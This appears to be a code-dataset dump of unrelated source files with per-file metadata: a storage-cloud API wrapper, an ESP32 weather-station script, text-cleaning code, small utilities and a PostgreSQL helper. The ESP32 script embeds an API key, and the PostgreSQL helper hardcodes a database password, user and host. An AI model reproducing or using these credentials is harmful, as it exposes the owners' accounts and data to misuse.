:param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ verify_positive_argument(vpsa_id, "vpsa_id") body = {} if type(drives) is not list: raise ValueError('The passed "drives" parameter is not a Python ' 'list.') for v in drives: if type(v) is not dict: raise ValueError('Each item in the "drives" list must be a ' 'Python dictionary.') if 'drive_type' not in v: raise ValueError('The required "drive_type" key was not found in ' 'the drive dictionary.') if 'quantity' not in v: raise ValueError('The required "quantity" key was not found in ' 'the drive dictionary.') body[v['drive_type'] + '_drives'] = v['quantity'] path = '/api/vpsas/{0}/drives.json'.format(vpsa_id) return session.post_api(path=path, body=body, return_type=return_type, **kwargs) def change_vpsa_engines(session, vpsa_id, io_engine_id, zcs_engine_id, return_type=None, **kwargs): """ Submits a request to create a new VPSA. This must be approved by a storage cloud administrator before the VPSA creation starts. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type vpsa_id: int :param vpsa_id: The VPSA 'id' value as returned by get_all_vpsas. For example: '2653'. Required. :type io_engine_id: str :param io_engine_id: The IO engine 'key' value as returned by the 'engine_types' list for cloud_id from get_cloud. For example: 'vsa.V2.baby.vf'. This can be the same value as the existing IO engine. Required. :type zcs_engine_id: str :param zcs_engine_id: The ZCS engine 'key' value as returned by the 'app_engine_types' list for cloud_id from get_cloud. For example: 'tiny'. Can also be the string 'None', which will disable the ZCS engine for this VPSA. This can be the same value as the existing ZCS engine. Required. :type return_type: str :param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ verify_positive_argument(vpsa_id, 'vpsa_id') verify_io_engine_id(io_engine_id) verify_zcs_engine_id(zcs_engine_id) body = {'engine': io_engine_id, 'app_engine': zcs_engine_id} path = '/api/vpsas/{0}/engine.json'.format(vpsa_id) return session.post_api(path=path, body=body, return_type=return_type, **kwargs) def change_vpsa_cache(session, vpsa_id, quantity, return_type=None, **kwargs): """ Sets the quantity of additional cache groups for a VPSA. The quantity of cache groups that comes with the base engine is not included in this calculation. For example, if the engine comes with 2 cache groups, passing a quantity of 0 will result in 2 total groups, a quantity of 1 will result in 3 total groups, and so on. Conversely, in the same example, to go from 4 to 2 cache groups, a quantity of 0 would be needed. This must be approved by a storage cloud administrator before the cache groups are modified. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type vpsa_id: int :param vpsa_id: The VPSA 'id' value as returned by get_all_vpsas. For example: '2653'. Required. :type quantity: int :param quantity: As described above, the total number of additional cache groups needed in addition to the groups that come with the engine. Required. :type return_type: str :param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ verify_positive_argument(vpsa_id, 'vpsa_id') verify_cache_argument(quantity, 'quantity') path = '/api/vpsas/{0}/cache.json'.format(vpsa_id) body = {'cache': '{}'.format(quantity)} return session.post_api(path=path, body=body, return_type=return_type, **kwargs) def assign_vpsa_public_ip(session, vpsa_id, return_type=None, **kwargs): """ Submits a request to assign a public IP to the VPSA. Public IPs are optionally used to replicate data between VPSAs or from a VPSA to an object storage destination. Only valid for storage clouds where public IPs are available. This must be approved by a storage cloud administrator before the public IP is assigned. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type vpsa_id: int :param vpsa_id: The VPSA 'id' value as returned by get_all_vpsas. For example: '2653'. Required. :type return_type: str :param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ verify_positive_argument(vpsa_id, 'vpsa_id') path = '/api/vpsas/{0}/public_ip.json'.format(vpsa_id) return session.post_api(path=path, return_type=return_type, **kwargs) def remove_vpsa_public_ip(session, vpsa_id, return_type=None, **kwargs): """ Submits a request to remove a public IP from a VPSA. This must be approved by a storage cloud administrator before the public IP is assigned. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type vpsa_id: int :param vpsa_id: The VPSA 'id' value as returned by get_all_vpsas. For example: '2653'. Required. :type return_type: str :param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ verify_positive_argument(vpsa_id, 'vpsa_id') path = '/api/vpsas/{0}/public_ip.json'.format(vpsa_id) return session.delete_api(path=path, return_type=return_type, **kwargs) def hibernate_vpsa(session, vpsa_id, return_type=None, **kwargs): """ Hibernates a VPSA. A hibernated VPSA will have all IO and ZCS engines shutdown, during which time there is no hourly cost incurred for those engines (costs still apply for all attached drives). This action is immediate and does not require a storage cloud administrator's approval. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type vpsa_id: int :param vpsa_id: The VPSA 'id' value as returned by get_all_vpsas. For example: '2653'. Required. :type return_type: str :param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ verify_positive_argument(vpsa_id, 'vpsa_id') path = '/api/vpsas/{0}/hibernate.json'.format(vpsa_id) return session.post_api(path=path, return_type=return_type, **kwargs) def resume_vpsa(session, vpsa_id, return_type=None, **kwargs): """ Resumes a hibernated VPSA. This action is immediate and does not require a storage cloud administrator's approval. :type session: zadarapy.session.Session :param session: A valid zadarapy.session.Session object. Required. :type vpsa_id: int :param vpsa_id: The VPSA 'id' value as returned by get_all_vpsas. For example: '2653'. Required. :type return_type: str :param return_type: If this is set to the string 'json', this function will return a JSON string. Otherwise, it will return a Python dictionary. Optional (will return a Python dictionary by default). :rtype: dict, str :returns: A dictionary or JSON data set as a string depending on return_type parameter. """ verify_positive_argument(vpsa_id, 'vpsa_id') path = '/api/vpsas/{0}/restore.json'.format(vpsa_id) return session.post_api(path=path, return_type=return_type, **kwargs)
39.392996
78
0.676067
2,908
20,248
4.589065
0.108322
0.049457
0.027201
0.028025
0.751442
0.743874
0.734807
0.716898
0.696516
0.69127
0
0.008662
0.247382
20,248
513
79
39.469786
0.867052
0.636853
0
0.491525
0
0
0.197136
0.03039
0
0
0
0
0
1
0.09322
false
0.016949
0.016949
0
0.20339
0
0
0
0
null
0
0
0
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
d901d31f661578cd1cf685aa0c604b5f8623df0d
245
py
Python
bench/bench.py
ricelang/snabl
488591099faf089d4deba30f90017305ff31598c
[ "MIT" ]
1
2021-10-20T07:44:36.000Z
2021-10-20T07:44:36.000Z
bench/bench.py
ricelang/snabl
488591099faf089d4deba30f90017305ff31598c
[ "MIT" ]
null
null
null
bench/bench.py
ricelang/snabl
488591099faf089d4deba30f90017305ff31598c
[ "MIT" ]
null
null
null
from timeit import Timer def bench(reps, target, args): fn = '{0}{1}'.format(target, args) return Timer(fn, 'gc.enable(); from __main__ import {0}; {1}'.format(target, fn)) \ .timeit(reps) * 1000
24.5
83
0.538776
31
245
4.129032
0.580645
0.15625
0.125
0.21875
0
0
0
0
0
0
0
0.046784
0.302041
245
9
84
27.222222
0.701754
0
0
0
0
0
0.196721
0
0
0
0
0
0
1
0.166667
false
0
0.333333
0
0.666667
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
d953b25ea5396e101a42e574ad6a85af2bea1abd
3,644
py
Python
main.py
darnaiz/WeatherStationDev1
157bae3a3bf57e957122511eb555b143bff8ef78
[ "CC0-1.0" ]
null
null
null
main.py
darnaiz/WeatherStationDev1
157bae3a3bf57e957122511eb555b143bff8ef78
[ "CC0-1.0" ]
null
null
null
main.py
darnaiz/WeatherStationDev1
157bae3a3bf57e957122511eb555b143bff8ef78
[ "CC0-1.0" ]
null
null
null
from machine import I2C from machine import Pin from machine import RTC from time import sleep from time import sleep_ms from time import ticks_ms from esp8266_i2c_lcd import I2cLcd import network import dht import urequests import WorldClock p0 = Pin(4, Pin.OUT) p1 = Pin(17, Pin.OUT) d = dht.DHT11(Pin(16)) i2c = I2C(scl=Pin(22), sda=Pin(21), freq=400000) lcd = I2cLcd(i2c, 0x27, 2, 16) lcd.backlight_off() lcd.clear() # FUNCION PARA LEER DHT11 def readTemperature(): print("Iniciando lectura de temperatura y humedad") data = [0,0] try: d.measure() t = d.temperature() h = d.humidity() print ("La temperatura es de " + str(t) + "ºC\n y la humedad del " + str(h) + "%.") data[0] = t data[1] = h return data except: print("ERROR al realizar la lectura") finally: print("Fin leyendo datos") # FUNCIÓN PARA ESTABLECER LA CONEXIÓN WIFI (STATION) def do_connect(SSID, PASSWORD): global sta_if sta_if = network.WLAN(network.STA_IF) # instancia el objeto -sta_if- para controlar la interfaz STA if not sta_if.isconnected(): # si no existe conexión... sta_if.active(True) # activa el interfaz STA del ESP32 sta_if.connect(SSID, PASSWORD) # inicia la conexión con el AP print("Conectando a la red", SSID +"...") while not sta_if.isconnected(): # ...si no se ha establecido la conexión... pass # ...repite el bucle... print("Configuración de red (IP/netmask/gw/DNS):", sta_if.ifconfig()) p0.value(1) sleep(0.2) p0.value(0) sleep(0.2) p0.value(1) sleep(0.2) p0.value(0) # FUNCIÓN PARA ESTABLECER LA CONEXIÓN WIFI (STATION) def upload_temp_hum(SSID, PASSWORD, temp, hum): global sta_if sta_if = network.WLAN(network.STA_IF) # instancia el objeto -sta_if- para controlar la interfaz STA if not sta_if.isconnected(): # si no existe conexión... sta_if.active(True) # activa el interfaz STA del ESP32 sta_if.connect(SSID, PASSWORD) # inicia la conexión con el AP print("Conectando a la red", SSID +"...") while not sta_if.isconnected(): # ...si no se ha establecido la conexión... pass # ...repite el bucle... print("Configuración de red (IP/netmask/gw/DNS):", sta_if.ifconfig()) print("Subiendo información...") resp = urequests.get("http://api.asksensors.com/write/8YlghUjXACdqJmsWzK31Omqjxku6ojms?module1=" + str(temp) + "&module2=" + str(hum)) print(resp.status_code) print(resp.text) print("Información subida a AskSensors...") # Conexión de prueba # do_connect("<SSID>","<PWD>") r = 30; rMax = 30; wc = WorldClock.WorldClock("<SSID>","<PWD>") wc.getdatetime() rtc = RTC((wc.dateTime[0], wc.dateTime[1], wc.dateTime[2], 0, wc.dateTime[4], wc.dateTime[5], wc.dateTime[6], 0)) while True: if r == rMax: r = 0 lcd.backlight_on() lcd.clear() p0.value(1) lect = readTemperature() lcd.move_to(0,0) lcd.putstr("{2:02d}/{1:02d}/{0:4d} {4:02d}:{5:02d}:{6:2d}".format(*rtc.datetime())) lcd.move_to(0,1) lcd.putstr("T: " + str(lect[0]) + " C, H: " + str(lect[1]) + " %") upload_temp_hum("<SSID>","<PWD>",lect[0],lect[1]) p0.value(0) sleep(1) lcd.backlight_off() else: r += 1 p1.value(1) sleep(0.2) p1.value(0) sleep(0.8)
3,644
3,644
0.582327
507
3,644
4.118343
0.315582
0.047893
0.015326
0.036398
0.41954
0.409962
0.409962
0.409962
0.366858
0.344828
0
0.044538
0.279089
3,644
1
3,644
3,644
0.750286
0.163282
0
0.351648
0
0.010989
0.157044
0.014517
0
0
0.00132
0
0
1
0.032967
false
0.065934
0.120879
0
0.164835
0.131868
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
4
d955076f040e9a0dfe120b76ad26f81f9302beec
254
py
Python
1_PythonDataProcessing/2_10_practicetask1_fillna_mean.py
hnwarid/DQLabAcademy
e03d82f97536ae103b6abc65db0ae16520fb68c7
[ "MIT" ]
null
null
null
1_PythonDataProcessing/2_10_practicetask1_fillna_mean.py
hnwarid/DQLabAcademy
e03d82f97536ae103b6abc65db0ae16520fb68c7
[ "MIT" ]
null
null
null
1_PythonDataProcessing/2_10_practicetask1_fillna_mean.py
hnwarid/DQLabAcademy
e03d82f97536ae103b6abc65db0ae16520fb68c7
[ "MIT" ]
null
null
null
import pandas as pd import numpy as np import io import pandas_profiling retail_raw = pd.read_csv('https://storage.googleapis.com/dqlab-dataset/retail_raw_reduced_data_quality.csv') print(retail_raw['item_price'].fillna(retail_raw['item_price'].mean()))
36.285714
108
0.814961
41
254
4.780488
0.634146
0.183673
0.132653
0.183673
0
0
0
0
0
0
0
0
0.062992
254
7
109
36.285714
0.823529
0
0
0
0
0
0.392157
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0.166667
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
4
d993a0961e4dbd12d8a1d5771c16df3157e98c8d
193
py
Python
toolcli/__main__.py
sslivkoff/toolcli
7f6cb50bdb3eab5118d4fe4dd256c68a206f1df2
[ "MIT" ]
null
null
null
toolcli/__main__.py
sslivkoff/toolcli
7f6cb50bdb3eab5118d4fe4dd256c68a206f1df2
[ "MIT" ]
null
null
null
toolcli/__main__.py
sslivkoff/toolcli
7f6cb50bdb3eab5118d4fe4dd256c68a206f1df2
[ "MIT" ]
null
null
null
from __future__ import annotations import toolcli from toolcli.command_utils import execution command_index: toolcli.CommandIndex = { } execution.run_cli( command_index=command_index, )
16.083333
43
0.813472
23
193
6.434783
0.521739
0.243243
0
0
0
0
0
0
0
0
0
0
0.129534
193
11
44
17.545455
0.880952
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.375
0
0.375
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
4
79818fa5c5dbe67b08d37bfea1ca63dee4a7ef9e
57
py
Python
colorizer/__init__.py
AlexanderKozhevin/trainingrepo
60a2759ed63224ca568fd201797971c9bdfd76dc
[ "MIT" ]
null
null
null
colorizer/__init__.py
AlexanderKozhevin/trainingrepo
60a2759ed63224ca568fd201797971c9bdfd76dc
[ "MIT" ]
3
2021-09-08T02:24:29.000Z
2022-03-12T00:44:32.000Z
colorizer/__init__.py
AlexanderKozhevin/trainingrepo
60a2759ed63224ca568fd201797971c9bdfd76dc
[ "MIT" ]
null
null
null
from colorizer._device import _Device device = _Device()
19
37
0.807018
7
57
6.142857
0.571429
0.55814
0
0
0
0
0
0
0
0
0
0
0.122807
57
3
38
19
0.86
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
4
798e56fab1f491c2a3133df7d7c4ec4b1bf6d259
2,897
py
Python
LSTM/format.py
yu-su-ke/automatic_document_generation
9108df63e770d1c818456a7e507061018dca8c08
[ "MIT" ]
null
null
null
LSTM/format.py
yu-su-ke/automatic_document_generation
9108df63e770d1c818456a7e507061018dca8c08
[ "MIT" ]
null
null
null
LSTM/format.py
yu-su-ke/automatic_document_generation
9108df63e770d1c818456a7e507061018dca8c08
[ "MIT" ]
null
null
null
import re def text_format(open_path, format_path, text_file, document_type): if document_type == 'novel': with open(open_path + text_file + '.txt', "rb") as text_data: lines = text_data.readlines() with open(format_path + text_file + '_format.txt', mode='w', encoding="utf-8") as save_file: for line in lines: text = line.decode('Shift_JIS') text = re.split(r'\r', text)[0] text = re.split(r'底本', text)[0] text = text.replace('|', '') text = text.replace('(', '') text = text.replace(')', '') text = text.replace('-', '') text = text.replace("'", '') text = text.replace('\u3000', '') text = re.sub(r'《.+?》', '', text) text = re.sub(r'[#.+?]', '', text) text = re.sub('[\s ]', '', text) save_file.write(text) if document_type == 'tweet': reply_pattern = '@[\w]+' url_pattern = 'https?://[\w/:%#\$&\?\(\)~\.=\+\-]+' hash_tag = '#[ぁ-んァ-ン 一-龥 \w]+' with open(open_path + text_file + '.txt', "r", encoding="utf-8") as file: with open(format_path + text_file + '_format.txt', mode='w', encoding="utf-8") as save_file: for i in file: text = re.sub(reply_pattern, '', i) text = re.sub(url_pattern, '', text) text = re.sub(hash_tag, '', text) text = re.sub('\n', '', text) text = re.sub('[\s ]', '', text) text = text.replace("'", '') text = text.replace('(', '') text = text.replace(')', '') text = text.replace('[', '') text = text.replace(']', '') text = text.replace('\u3000', '') save_file.write(text) if document_type == 'livedoor/topic-news': url_pattern = 'https?://[\w/:%#\$&\?\(\)~\.=\+\-]+' with open(open_path + text_file + '.txt', "r", encoding="utf-8") as file: with open(format_path + text_file + '_format.txt', mode='w', encoding="utf-8") as save_file: for text in file: text = re.sub(url_pattern, '', text) text = re.sub('\n', '', text) text = re.sub('[\s ]', '', text) text = text.replace('|', '') text = text.replace('(', '') text = text.replace(')', '') text = text.replace('-', '') text = text.replace("'", '') text = text.replace("'", '') text = text.replace('\u3000', '') save_file.write(text)
48.283333
104
0.413876
297
2,897
3.902357
0.191919
0.19327
0.245902
0.262295
0.753236
0.735116
0.730802
0.66868
0.636756
0.592752
0
0.010832
0.394546
2,897
59
105
49.101695
0.649943
0
0
0.618182
0
0
0.095271
0.024163
0
0
0
0
0
1
0.018182
false
0
0.018182
0
0.036364
0
0
0
0
null
0
1
1
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
79a1394d35089389e0bd88b0a558916380a3c700
111
py
Python
queen.py
jinn-jar-burger/Genetic-Algorithm
50dd761fa38a39bea12b0b2319a87bc2bd2e9b2e
[ "MIT" ]
9
2019-12-26T17:50:07.000Z
2020-12-20T05:38:54.000Z
queen.py
jinn-jar-burger/Genetic-Algorithm
50dd761fa38a39bea12b0b2319a87bc2bd2e9b2e
[ "MIT" ]
null
null
null
queen.py
jinn-jar-burger/Genetic-Algorithm
50dd761fa38a39bea12b0b2319a87bc2bd2e9b2e
[ "MIT" ]
null
null
null
class Queen: def __init__(self, pos, visited): self.pos = pos self.visited = visited
18.5
38
0.567568
13
111
4.538462
0.538462
0.237288
0
0
0
0
0
0
0
0
0
0
0.342342
111
5
39
22.2
0.808219
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
4
79b47b21172ab9c3cecc608c495fceecd59afcf2
129
py
Python
tests/mocks/users.py
rivendale/ethsigns
8ffecc264a54b00d5615c6fa36c9f661dce468b5
[ "MIT" ]
1
2021-01-24T04:27:57.000Z
2021-01-24T04:27:57.000Z
tests/mocks/users.py
rivendale/ethsigns
8ffecc264a54b00d5615c6fa36c9f661dce468b5
[ "MIT" ]
19
2021-02-07T18:24:31.000Z
2021-07-02T08:03:56.000Z
tests/mocks/users.py
rivendale/ethsigns
8ffecc264a54b00d5615c6fa36c9f661dce468b5
[ "MIT" ]
null
null
null
VALID_USER = { "username": "Test", "email": "test@email.com", "password": "Test@123", "password2": "Test@123", }
18.428571
30
0.542636
14
129
4.928571
0.642857
0.26087
0
0
0
0
0
0
0
0
0
0.069307
0.217054
129
6
31
21.5
0.613861
0
0
0
0
0
0.496124
0
0
0
0
0
0
1
0
false
0.333333
0
0
0
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
4
79c0f407b974164079d1f869b4b70ad933e6b2c8
288
py
Python
apps/infrastructure/api/providers/utils.py
rimijoker/PyGrid
6453f58d4925dacee339ed52f44bcdf28e9bcce3
[ "Apache-2.0" ]
null
null
null
apps/infrastructure/api/providers/utils.py
rimijoker/PyGrid
6453f58d4925dacee339ed52f44bcdf28e9bcce3
[ "Apache-2.0" ]
null
null
null
apps/infrastructure/api/providers/utils.py
rimijoker/PyGrid
6453f58d4925dacee339ed52f44bcdf28e9bcce3
[ "Apache-2.0" ]
null
null
null
import math def generate_cidr_block(num_ip_addresses, num_subnets): cidr_block_step = int(num_ip_addresses / num_subnets) subnet_ip_prefix = 32 - int(math.log(cidr_block_step, 2)) for i in range(num_subnets): yield f"10.0.0.{cidr_block_step * i}/{subnet_ip_prefix}"
32
64
0.736111
49
288
3.938776
0.510204
0.186529
0.202073
0.176166
0.248705
0
0
0
0
0
0
0.028926
0.159722
288
8
65
36
0.768595
0
0
0
1
0
0.163194
0.152778
0
0
0
0
0
1
0.166667
false
0
0.166667
0
0.333333
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
79d15d2a5a8e1404baf1f07068cc70071703cbc5
243
py
Python
CursoEmVideo/curso em video/ex26b.py
elisio-ricardo/ExerciciosPythonCursoEmVideo
47a10b2118a76f4f95a762876ef9ab90e92f4fd3
[ "MIT" ]
null
null
null
CursoEmVideo/curso em video/ex26b.py
elisio-ricardo/ExerciciosPythonCursoEmVideo
47a10b2118a76f4f95a762876ef9ab90e92f4fd3
[ "MIT" ]
null
null
null
CursoEmVideo/curso em video/ex26b.py
elisio-ricardo/ExerciciosPythonCursoEmVideo
47a10b2118a76f4f95a762876ef9ab90e92f4fd3
[ "MIT" ]
null
null
null
frase = str(input('Digite uma frase: ')).strip().upper() print(f'A letra A aparece {frase.count("A")} vezes.') print(f'A primeira letra apareceu na posição {frase.find("A")+1}') print(f'A ultima letra apareceu na posição {frase.rfind("A")+1}')
60.75
66
0.691358
42
243
4
0.52381
0.107143
0.125
0.261905
0.321429
0
0
0
0
0
0
0.009174
0.102881
243
4
67
60.75
0.761468
0
0
0
0
0
0.704918
0
0
0
0
0
0
1
0
false
0
0
0
0
0.75
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
4
8db3962150bf82d6a978a4d0b0f41009777921e8
28
py
Python
resonance/version.py
gbrault/resonance
bf66993a98fbbb857511f83bc072449b98f0b4c2
[ "MIT" ]
31
2017-11-10T16:44:04.000Z
2022-01-13T12:22:02.000Z
resonance/version.py
gbrault/resonance
bf66993a98fbbb857511f83bc072449b98f0b4c2
[ "MIT" ]
178
2017-07-19T20:16:13.000Z
2020-03-10T04:13:46.000Z
resonance/version.py
gbrault/resonance
bf66993a98fbbb857511f83bc072449b98f0b4c2
[ "MIT" ]
12
2018-04-05T22:58:43.000Z
2021-01-14T04:06:26.000Z
__version__ = '0.23.0.dev0'
14
27
0.678571
5
28
3
0.8
0
0
0
0
0
0
0
0
0
0
0.2
0.107143
28
1
28
28
0.4
0
0
0
0
0
0.392857
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
8dbc780dba778d48ae2683b854a8372e260a08fd
1,909
py
Python
ServerComponents/Suppurt/server.py
PavelLebed20/chess_classic
72f7d08cadae8db9c65d61411bcdc8c79bfa04c3
[ "Apache-2.0" ]
1
2019-06-04T11:08:55.000Z
2019-06-04T11:08:55.000Z
ServerComponents/Suppurt/server.py
PavelLebed20/chess_classic
72f7d08cadae8db9c65d61411bcdc8c79bfa04c3
[ "Apache-2.0" ]
115
2019-03-02T08:02:50.000Z
2019-06-02T16:28:00.000Z
ServerComponents/Suppurt/server.py
PavelLebed20/chess_classic
72f7d08cadae8db9c65d61411bcdc8c79bfa04c3
[ "Apache-2.0" ]
null
null
null
import psycopg2 password = 'c6b476253566b10c0a2fde6065a836ad587be943e05e56ae24cd55dd0f95901e' user = 'nglyhlqtzgflza' host = 'ec2-54-247-72-30.eu-west-1.compute.amazonaws.com' database = 'd6veee8q9722ca' port = '5432' def execute_no_res_async(query): try: con = psycopg2.connect(user=user, password=password, host=host, port=port, database=database) con.autocommit = True except (Exception, psycopg2.Error) as error: print("Error while connecting to PostgreSQL", error) return cursor = con.cursor() cursor.execute(query) cursor.close() con.close() def execute_one_res_async(query): try: con = psycopg2.connect(user=user, password=password, host=host, port=port, database=database) con.autocommit = True except (Exception, psycopg2.Error) as error: print("Error while connecting to PostgreSQL", error) return cursor = con.cursor() cursor.execute(query) res = cursor.fetchone() cursor.close() con.close() return res def execute_all_res_async(query): try: con = psycopg2.connect(user=user, password=password, host=host, port=port, database=database) con.autocommit = True except (Exception, psycopg2.Error) as error: print("Error while connecting to PostgreSQL", error) return cursor = con.cursor() cursor.execute(query) res = cursor.fetchall() cursor.close() con.close() return res
29.369231
78
0.524358
173
1,909
5.734104
0.283237
0.030242
0.039315
0.048387
0.748992
0.748992
0.69254
0.69254
0.69254
0.69254
0
0.059483
0.392352
1,909
64
79
29.828125
0.79569
0
0
0.8
0
0.018182
0.136585
0.060705
0
0
0
0
0
1
0.054545
false
0.072727
0.018182
0
0.163636
0.054545
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
4
5c0d84c939f59e3ae01792d4dbecf014c10f5acd
131
py
Python
note/models.py
Felix-Raj/library
c93dd6dbc5a8cfe80a123a9e03d870687d8fd7ce
[ "Unlicense" ]
1
2018-05-18T17:37:02.000Z
2018-05-18T17:37:02.000Z
note/models.py
Felix-Raj/library
c93dd6dbc5a8cfe80a123a9e03d870687d8fd7ce
[ "Unlicense" ]
null
null
null
note/models.py
Felix-Raj/library
c93dd6dbc5a8cfe80a123a9e03d870687d8fd7ce
[ "Unlicense" ]
null
null
null
from django.db import models class Note(models.Model): note = models.TextField() class Meta: ordering = ('-id',)
16.375
29
0.625954
16
131
5.125
0.75
0.243902
0
0
0
0
0
0
0
0
0
0
0.244275
131
8
30
16.375
0.828283
0
0
0
0
0
0.022727
0
0
0
0
0
0
1
0
false
0
0.2
0
0.8
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
4
30836b99a4b4ab6974c40f7ffd5251eabcadcdf4
281
py
Python
code/settings.py
leokan92/Contextual-bandit-Resnet-trading
57fa89b01ba99999b132161efa0eb16b5c32ecf8
[ "MIT" ]
null
null
null
code/settings.py
leokan92/Contextual-bandit-Resnet-trading
57fa89b01ba99999b132161efa0eb16b5c32ecf8
[ "MIT" ]
null
null
null
code/settings.py
leokan92/Contextual-bandit-Resnet-trading
57fa89b01ba99999b132161efa0eb16b5c32ecf8
[ "MIT" ]
null
null
null
import os from pathlib import Path BASE_DIR = os.path.dirname(os.path.abspath(__file__)) DATA_DIR = os.path.join(Path(BASE_DIR).parent,'data') RESULTS_DIR = os.path.join(Path(BASE_DIR).parent, 'code','results') SAVE_PARAMS = os.path.join(Path(BASE_DIR).parent, 'code', 'params')
31.222222
67
0.747331
47
281
4.234043
0.361702
0.150754
0.221106
0.211055
0.477387
0.477387
0.477387
0.477387
0
0
0
0
0.081851
281
8
68
35.125
0.771318
0
0
0
0
0
0.088968
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
4
a503643453322e2358882fa4755552022f126ee1
31
py
Python
test.py
KarimElgammal/Statistical-Mechanics-Algorithms-and-Computations
c2e8457e7aa32bb93a2a73f6e1ce44217f27f09f
[ "MIT" ]
null
null
null
test.py
KarimElgammal/Statistical-Mechanics-Algorithms-and-Computations
c2e8457e7aa32bb93a2a73f6e1ce44217f27f09f
[ "MIT" ]
null
null
null
test.py
KarimElgammal/Statistical-Mechanics-Algorithms-and-Computations
c2e8457e7aa32bb93a2a73f6e1ce44217f27f09f
[ "MIT" ]
null
null
null
a = 3 b = 4 z = a + b print(z)
6.2
9
0.419355
9
31
1.444444
0.666667
0
0
0
0
0
0
0
0
0
0
0.105263
0.387097
31
4
10
7.75
0.578947
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.25
1
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
a50434b28d905dc9be821d285e023e1995c7bf4a
1,011
py
Python
MascotasPasto/mascotas/migrations/0001_initial.py
diana1014/Frameworks-7a-2020B
c9aac5cdeb663048376c218cf0feb1788a55834a
[ "MIT" ]
null
null
null
MascotasPasto/mascotas/migrations/0001_initial.py
diana1014/Frameworks-7a-2020B
c9aac5cdeb663048376c218cf0feb1788a55834a
[ "MIT" ]
null
null
null
MascotasPasto/mascotas/migrations/0001_initial.py
diana1014/Frameworks-7a-2020B
c9aac5cdeb663048376c218cf0feb1788a55834a
[ "MIT" ]
null
null
null
